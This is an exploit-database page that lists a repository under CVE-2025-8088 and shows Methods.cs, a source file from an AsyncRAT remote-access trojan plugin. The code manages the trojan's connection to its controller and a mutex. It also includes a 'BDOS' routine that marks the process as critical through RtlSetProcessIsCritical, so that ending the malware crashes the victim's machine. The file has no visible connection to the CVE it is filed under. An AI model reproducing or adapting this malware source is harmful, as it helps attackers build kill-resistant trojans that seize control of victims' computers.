Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files11
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
- ↑..Parent directory
- Handler/
- Properties/
- Connection.cs
- FodyWeavers.xml
- FodyWeavers.xsd
- ILMerge.props
- Methods.cs
- Packet.cs
- Plugin.cs
- SendFile.csproj
- packages.config
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
source/AsyncRAT-C-Sharp/AsyncRAT-C#/Plugin/SendFile/SendFile/Methods.cs
C# · 2,239 bytesusing Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Methods
{
private const string Alphabet = "abcdefghijklmnopqrstuvwxyz";
public static Random Random = new Random();
public static string GetRandomString(int length)
{
StringBuilder randomName = new StringBuilder(length);
for (int i = 0; i < length; i++)
randomName.Append(Alphabet[Random.Next(Alphabet.Length)]);
return randomName.ToString();
}
public static void ClientExit()
{
try
{
if (Convert.ToBoolean(Plugin.BDOS) && IsAdmin())
ProcessCriticalExit();
CloseMutex();
Connection.SslClient?.Close();
Connection.TcpClient?.Close();
}
catch { }
}
public static bool IsAdmin()
{
return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
}
public static void CloseMutex()
{
if (Plugin.AppMutex != null)
{
Plugin.AppMutex.Close();
Plugin.AppMutex = null;
}
}
public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
{
if (Convert.ToBoolean(Plugin.BDOS) && Methods.IsAdmin())
ProcessCriticalExit();
}
public static void ProcessCriticalExit()
{
try
{
RtlSetProcessIsCritical(0, 0, 0);
}
catch
{
while (true)
{
Thread.Sleep(100000); //prevents a BSOD on exit failure
}
}
}
[DllImport("ntdll.dll", SetLastError = true)]
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
}
}